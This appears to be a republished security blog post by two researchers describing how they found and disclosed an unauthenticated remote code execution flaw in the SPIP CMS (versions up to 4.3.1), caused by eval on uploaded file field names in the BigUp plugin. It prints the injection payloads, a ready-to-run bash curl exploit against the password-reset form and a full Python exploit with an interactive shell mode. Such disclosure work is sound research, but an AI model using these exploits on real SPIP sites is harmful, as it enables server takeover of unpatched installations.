Spip Preauth RCE 2024: Part 2, A Big Upload
2024-9-4 08:0:0 Author: thinkloveshare.com(查看原文) 阅读量:2 收藏

Hello dear reader,
This article is the continuation of my Spip research, with a twist!
One Spip Unauth RCE Challenge player (@Vozec1) came to me with an extra question after solving my initial challenge: “I think I found another similar bug, are you already aware of this issue?”
And I was not (code changes fast)! We therefore worked together to make the most out of it, here’s our co-written story! 💌

Some Context

Hello, @Vozec1 here! 👋

A month ago, TheLaluka suggested finding his preauth RCE in SPIP as a challenge. The challenge was very nice and I had nothing to do, so I decided to take a look at this CMS.

./tweet1

He gave us a hint to narrow down the attack surface, as the project is substantial. So, with Worty, we found the vulnerability and won the challenge!

win

Above is a screenshot from the barbhack rump we gave to release the yet-another-spip-rce-challenge: the one we’re disclosing today

He sent us 2 bottles of arranged rums to congratulate us (what a prince!) and everything could have ended there, but I enjoyed the challenge and it gave me a vague idea of how Spip works. I still had several subtleties in mind and still had some free time, so I thought I’d keep on looking for vulnerabilities.

rhum

So I’m going to present what will lead to a new RCE preauth on versions <= 4.3.1 of this CMS:

I found the CVE in an authenticated way, then reached out to Laluka to verify it wasn’t already known. We then worked together to make it work without authentication, greatly increasing the impact!

In the same way as his original post, we proposed a new challenge during the Barbhack 2024 event to find the vulnerability.

This time, the winners were GuilhemRioux, and the second solve from Chocapikk_! The third solve wanted to stay anon, therefore respecting their choice! 😉

Setup

The setup phase is quick, requiring only the CMS zip, an updated php and a few extensions such as php-xml, php-zip or php-sqlite3.
libsodium is also used for cryptography, and can be installed via the php extension manager pecl.

For a quick installation, sqlite is very pleasant, as it allows a clean installation without having to deploy and rely on an external database.

Here are the commands used:

mkdir spip3.4.1
cd spip3.4.1
wget https://files.spip.net/spip/archives/spip-v4.3.1.zip
unzip spip-v4.3.1.zip
apt update
pecl install -f libsodium
apt install -y php-xml php-zip php-sqlite3
php -S 0.0.0.0:8000

The installation page can be found here: http://localhost:8000/spip.php?exec=install

./spip_up

Code review

I had two ways of looking for vulnerable code in the php codebase. The first was to trace my inputs on the various pages and see what code they triggered. The second was to send payloads everywhere and see what resulted.

Both approaches are functional, especially on spip, which is notorious for evaluating just about anything in different places, “for some reasons”!

I decided to be clever and look for vulnerable sinks in the code. The RCE for Laluka’s 1st challenge was in the code of the “PortePlume” plugin, used to enhance Spip’s native textbox. This plugin had already been audited, and although there was still a very promising RCE sink, I’d gone over this plugin and wanted to discover some new code. So I naturally decided to audit other plugins installed by default.

I started looking at the BigUp plugin code. It’s a plugin used this time for file uploading. It’s going to take care of saving the various uploaded images to disk, renaming them appropriately, handling big chunked uploads, and more.

The plugin is quite substantial:

.
├── action
│   └── bigup.php
├── balise
│   └── saisie_fichier.php
├── bigup_administrations.php
├── bigup_fonctions.php
├── bigup_pipelines.php
├── CHANGELOG.md
├── composer.json
├── css
│   [.. SNIPPED ..]
├── formulaires
│   ├── configurer_bigup.html
│   ├── tester_bigup_extended.html
│   ├── tester_bigup_extended.php
│   ├── tester_bigup.html
│   └── tester_bigup.php
├── genie
│   └── bigup_nettoyer_repertoire_upload.php
├── inc
│   ├── Bigup
│   │   ├── CacheFichiers.php
│   │   ├── Cache.php
│   │   ├── CacheRepertoire.php
│   │   ├── Files.php
│   │   ├── Flow.php
│   │   ├── Formulaire.php
│   │   ├── GestionRepertoires.php
│   │   ├── Identifier.php
│   │   ├── LogTrait.php
│   │   └── Repondre.php
│   └── Bigup.php
├── javascript
│   [.. SNIPPED ..]
├── lang
│   ├── bigup_ar.php
│   ├── bigup_de.php
│   ├── bigup_en.php
│   ├── bigup_fr.php
│   ├── bigup_pt_br.php
│   ├── bigup.xml
│   ├── paquet-bigup_ar.php
│   ├── paquet-bigup_de.php
│   ├── paquet-bigup_en.php
│   ├── paquet-bigup_fr.php
│   ├── paquet-bigup_pt_br.php
│   └── paquet-bigup.xml
├── lib
│   [.. SNIPPED ..]
├── paquet.xml
├── phpcs.xml.dist
├── phpstan-baseline.neon
├── phpstan.neon.dist
├── prive
│   [.. SNIPPED ..]
├── README.md
├── saisies
│   [.. SNIPPED ..]
└── saisies-vues
    [.. SNIPPED ..]

Instead of spending time reading all the code, I started by researching dangerous behavior via RegEx.

After several searches for dangerous functions: eval, file_get_contents, system… as well as arbitrary object instantiation such as $a($b) ) I finally found a suspicious function! ☺️

The vulnerable function

In the plugins-dist/bigup/inc/Bigup/Files.php file, on line 230 the extraire_fichiers_valides function contains the following code:

public static function extraire_fichiers_valides() {
    $liste = [];
    if (!count($_FILES)) {
        return $liste;
    }

    $infos = []; // name, pathname, error …
    foreach ($_FILES as $racine => $descriptions) {
        $infos = array_keys($descriptions);
        break;
    }

    foreach ($_FILES as $racine => $descriptions) {
        $error = $descriptions['error'];

        // cas le plus simple : name="champ", on s'embête pas
        if (!is_array($error)) {
            if ($error == 0) {
                $liste[$racine] = [$descriptions];
                unset($_FILES[$racine]);
            }
            continue;
        }

        // cas plus compliqués :
        // name="champ[tons][][sous][la][pluie][]"
        // $_FILES[champ][error][tons][0][sous][la][pluie][0]
        else {
            $chemins = Files::extraire_sous_chemins_fichiers($error);

            foreach ($chemins['phps'] as $k => $chemin) {
                $var = '$_FILES[\'' . $racine . '\'][\'error\']' . $chemin;
                eval("\$error = $var;");

                if ($error == 0) {
                    $description = [];
                    foreach ($infos as $info) {
                        $var = '$_FILES[\'' . $racine . '\'][\'' . $info . '\']' . $chemin;
                        eval("\$x = $var; unset($var);");
                        $description[$info] = $x;
                    }

                    $complet = $racine . $chemins['names'][$k];
                    if (empty($liste[$complet])) {
                        $liste[$complet] = [];
                    }
                    $liste[$complet][] = $description;
                }
            }
        }
    }

    return $liste;
}

Do you smel it? That smelly RCE smel? 👀

Indeed, a lot of eval is carried out!

Here’s the comments above the function read:

/**
 * Extrait et enlève de `$_FILES` les fichiers reçus sans erreur
 * et crée un tableau avec pour clé le champ d'origine du fichier
 *
 * @return array Tableau (champ => [description])
 */

The function seems to handle uploaded files, I didn’t have the courage to setup XDebug so a simple echo in the Docker logs will suffice for debugging.

It’s apparently used to pass from a path name to an array path. Why eval then?

So I added the following code at the start of the function, and displayed $_FILES to see what will pass through during uploads:

## Debug like a boss
error_log("######################################");
error_log("Call to extraire_fichiers_valides");
error_log(json_encode($_FILES));
error_log("######################################");

Plus we read this comment:

// cas plus compliqués :
// name="champ[tons][][sous][la][pluie][]"
// $_FILES[champ][error][tons][0][sous][la][pluie][0]

To trigger the various EVALs, we need to send a file with the parameter name of the form champ[tons][][sous][la][pluie][]. So you can navigate from the logged-in area to /ecrire and upload an image. Here I’m using the form to send a profile photo

I also added:

error_log($racine);
error_log($chemin);
$var = '$_FILES[\'' . $racine . '\'][\'error\']' . $chemin;
error_log($var);

error_log

Uploading an image sends 3 requests, 2 of which trigger the extract_valid_files function!

These two requests don’t contain the uploaded image, but they do reach our vulnerable code! 😁

POST /ecrire/?exec=auteur&id_auteur=1 HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------35974249246826023222844215477
Content-Length: 1584
Origin: http://localhost:8000
Connection: keep-alive
Referer: http://localhost:8000/ecrire/?exec=auteur&id_auteur=1
Cookie: spip_session=1_d11b8a893cc1f545e2dee6e3e5ceb3ec; spip_admin=%40root%40root.root; spip_accepte_ajax=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-PwnFox-Color: blue

-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="var_ajax"

form
-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="exec"

auteur
-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="id_auteur"

1
-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="formulaire_action"

editer_logo
-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="formulaire_action_args"

o7aLD55YnoVFatZHAGqAQwWZcL0Z6FaCfDb4yh9BlxHzEDHJjuuhj1zH/aQrCvgA3lRry1gAXIHgxJclaNiXP7J3xnoB+JE/twMTVpcmUQOczifhWzHFchZPDMxK0Sia4few939TklVQhnGYmdnbni4cOszvyb3ueOHYnGsiBda5GtVbmHwU3g4eAS/CgDM4SbQj5xvy0CLNKxbCbNL75db6W+NetjxgKlHBdLlpP8eiRnzNSd11MGmPqGezNBV+1CH5T/OUZkOfy2uKfo/WdwFGduql2JNpSUWmXLQY9RjR1ZwQredgR9E=
-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="formulaire_action_sign"

61e4242ff0083987cd3f876d5daa0a9ece8d7c772f4bb1f248ce3f4cb4bc9b47
-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="bigup_retrouver_fichiers"

1
-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="formulaire_action_verifier_json"

true
-----------------------------35974249246826023222844215477
Content-Disposition: form-data; name="bigup_reinjecter_uniquement"

@28ef70ab@
-----------------------------35974249246826023222844215477--

./log1

You can immediately see that $_FILES is empty:

[Mon Sep  2 20:46:49 2024] ######################################
[Mon Sep  2 20:46:49 2024] Call to extraire_fichiers_valides
[Mon Sep  2 20:46:49 2024] []
[Mon Sep  2 20:46:49 2024] ######################################

So we can ask our best friend to add a file to our POST request:

./gpt

And… IT’S A small WIN! We control the file passed to the function:

code_triggered

meme_gpt

We can therefore adapt the name parameter with []:

first

Here is an extract from logs:

[Mon Sep  2 21:41:54 2024] ######################################
[Mon Sep  2 21:41:54 2024] Call to extraire_fichiers_valides
[Mon Sep  2 21:41:54 2024] {"HELLO":{"name":{"WORLD":"example.txt"},"full_path":{"WORLD":"example.txt"},"type":{"WORLD":"text\/plain"},"tmp_name":{"WORLD":"\/tmp\/phpB6Hmiq"},"error":{"WORLD":0},"size":{"WORLD":38}}}
[Mon Sep  2 21:41:54 2024] ######################################
[Mon Sep  2 21:41:54 2024] HELLO
[Mon Sep  2 21:41:54 2024] ['WORLD']
[Mon Sep  2 21:41:54 2024] $_FILES['HELLO']['error']['WORLD']

The last 3 lines correspond to $racine $chemin and $var.

$var corresponds to the string that will be evaluated next, passing “HELLO[WORLD]”, here’s the string formed:

$_FILES['HELLO']['error']['WORLD']

The complete code evaluated will therefore be:

$error = $_FILES['HELLO']['error']['WORLD'];

Remote Code Execution

What happens if I send a single quote? 🤔

Response: The server returns a 500 error!

500

From the docker logs, we can read:

500_log

Here we see that the ' is not filtered, so the context is broken and the call to eval returns an error.

Finally, we can add a real payload to control the contents of the string between the square brackets.

The payload payload HELLO[AB'.strval(5+5).'CD] lead to this log line:

Undefined array key "AB10CD" in ... plugins-dist/bigup/inc/Bigup/Files.php(276) : eval()'d code on line 1

The rce is now trivial, with the following payload:

name="HELLO[AB'.system('id').die().'CD]"

rce

win2

My first reaction was like

lalu

But in the end he confirmed that he didn’t have it in his notes!

If you’re curious, this was related to my teasing tweet from a few weeks ago, hashing the proof that I had this exploit at this time, without leaking sensitive information (kindly suggested to do so by Laluka to keep track & proofs).

[~/Desktop]$ echo -ne "name=\"RCE['.system('id').die().']\";" | md5sum
9fd0828be2a9d90e89e226f1fcd6d5d9  -

Additional note:

The vulnerability can also be triggered in the first part of the name parameter:

name="RCE'-system('id')-'[ABCD]"

The dot is filtered, but you can use sprintf to call the die function after the system to avoid an error in logs:

name="RCE'-sprintf(system('id'),die())-'[ABCD]"

isok


Hello, Laluka here! 👋

I’ll take the next part that makes this lovely post-auth RCE pre-auth! 😉

Making the RCE Pre-Auth

Once Vozec showed me that his issue was related to file upload, and required a form to submit, I had two thoughts:

  • First, we might get lucky, maybe the code path is reached with any form?
  • Second, if we’re unlucky, we’ll have to find another path!

So, here’s the flow: - extraire_fichiers_valides() from plugins-dist/bigup/inc/Bigup/Files.php, called by - gerer_fichiers_postes() within plugins-dist/bigup/inc/Bigup.php, called by - bigup_formulaire_receptionner($flux) within plugins-dist/bigup/bigup_pipelines.php

I stopped there, as the pipelining system behaves in a “global” way, -close to- every pass through it, so let’s “assume” we’re lucky, and hit right away!

The code only passes through the right code path if a specific parameter is present, so let’s add it! (i.e. bigup_retrouver_fichiers=foo)

/**
 * Branchement sur la réception d'un formulaire (avant verifier())
 *
 * On remet `$_FILES` avec les fichiers présents pour ce formulaire,
 * et avant que la fonction verifier native du formulaire soit utilisée,
 * de sorte qu'elle ait accès à $_FILES rempli.
 *
 * @pipeline formulaire_receptionner
 * @param array $flux
 * @return array
 */
function bigup_formulaire_receptionner($flux) {
	if (_request('bigup_retrouver_fichiers')) {
		$bigup = bigup_get_bigup($flux);
		$bigup->gerer_fichiers_postes(); // les fichiers postés sans JS
		$liste = $bigup->reinserer_fichiers(_request('bigup_reinjecter_uniquement'));
		$bigup->surveiller_fichiers($liste);
	}
	return $flux;
}

Note the Branchement sur la réception d'un formulaire (avant verifier()) in the comment, clearly stating that all this logic (including eval) will take place before the verification/validation steps take place.. 😅

From there, I took one page that is almost always present, the “forgotten password” one!

What I wanted to have in the request, is the formulaire_action_args protected and encoded variable at hand:

  • I want to submit a form, therefore requiring formulaire_action_args
  • With extra “files” (our RCE payload)
  • With our extra bigup_retrouver_fichiers param to enable the bigup part!

formulaire_action_args

Any extra steps? Nope! It worked right away! 🍀

Unauth Spip RCE Final Exploit

As a script, this gives us the following concise exploit:

echo foo > foo.txt
cmd="id; date"
formulaire_action_args=$(curl -k 'http://127.0.0.1:8000/spip.php?page=spip_pass&lang=fr' | grep -F formulaire_action_args -C 3 | grep -ioP '[0-9a-zA-Z_/=+]{30,}')
echo "formulaire_action_args: $formulaire_action_args"
formulaire_action_args_encoded=$(python3 -c "import sys; from urllib.parse import quote; print(quote(sys.argv[1], safe=str()))" "$formulaire_action_args")
echo "formulaire_action_args_encoded: $formulaire_action_args_encoded"
base_url="http://0.0.0.0:8000/spip.php?page=spip_pass&lang=fr&page=spip_pass&lang=fr"
final_payload="formulaire_action=oubli&formulaire_action_args=$formulaire_action_args_encoded&formulaire_action_sign=&oubli=foo%40foo.foo&nobot=&bigup_retrouver_fichiers=1"
curl -ki -X POST -F "RCE['.system('$cmd').die().'][][ll][email protected]" "$base_url&$final_payload"

unauth-spip-rce

Vozec also made a python script for the same bug:

#!/bin/env python3
import argparse
import requests
import re
import io
import readline
from urllib.parse import unquote
from bs4 import BeautifulSoup
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3

urllib3.disable_warnings()


class exploit:
    def __init__(self, args) -> None:
        self.url = args.target
        self.s = requests.session()

    def get_tokens(self):
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0",
            "Accept": "*/*",
            "Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        }
        url = f"{self.url}/spip.ph%70?pag%65=spip_pass&lang=fr"
        r = requests.Request(
            url=url,
            method="GET",
            headers=headers,
        )
        prep = r.prepare()
        prep.url = url
        r = self.s.send(prep, verify=False).text
        soup = BeautifulSoup(r, "html.parser")
        token = soup.find("input", {"name": "formulaire_action_args"})["value"]
        return token

    def exploit(self, cmd):
        token = self.get_tokens()
        mp_encoder = MultipartEncoder(
            fields={
                "page": "spip_pass",
                "lang": "fr",
                "formulaire_action": "oubli",
                "formulaire_action_args": token,
                "formulaire_action_sign": "",
                "oubli": "[email protected]",
                "nobot": "",
                "bigup_retrouver_fichiers": "a",
                f"RCE['.system('{cmd}').die().']": (
                    "abc.txt",
                    io.BytesIO(b"Hello"),
                    "text/plain",
                ),
            }
        )
        url = f"{self.url}/spip.ph%70?pag%65=spip_pass&lang=fr"
        r = requests.Request(
            url=url,
            method="POST",
            data=mp_encoder,
            headers={"Content-Type": mp_encoder.content_type},
        )
        prep = r.prepare()
        prep.url = url
        r = self.s.send(prep, verify=False)
        return r.text.strip()


def get_args():
    parser = argparse.ArgumentParser(description="RCE Spip <= 4.3.1")
    parser.add_argument(
        "-t", "--target", type=str, required=True, help="Target Url (ex: http://)"
    )
    parser.add_argument(
        "-c", "--cmd", type=str, required=False, help="Shell command to execute"
    )
    parser.add_argument(
        "-s", "--shell", action="store_true", help="Semi interactive shell"
    )
    args = parser.parse_args()
    return args


def main():
    args = get_args()
    x = exploit(args)
    if args.cmd:
        res = x.exploit(args.cmd)
        print(res)

    if args.shell:
        while 1:
            r = x.exploit(input("$ "))
            print(r)


if __name__ == "__main__":
    main()

"""
[~/Desktop/autre]$ python3 0day_rce_spip.py -t http://localhost:8000 -c id    
uid=1000(vozec) gid=1000(vozec) groupes=1000(vozec),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),995(input)

[~/Desktop]$ echo -ne "name=\"RCE['.system('id').die().']\";" | md5sum
9fd0828be2a9d90e89e226f1fcd6d5d9  -
"""

Closing Words

Spip reacted in a timely manner, no timeline this time! Oh yeah, one last thing… 🙃

Nailed it! 😎

rce-rootme-acknowledgement


As always, we hope you’ve had a nice time reading our adventures! 🧙
Feel free to follow both of us for future challenges & cool reads! 💝

lalu-and-vozec


文章来源: https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/
如有侵权请联系:admin#unsafe.sh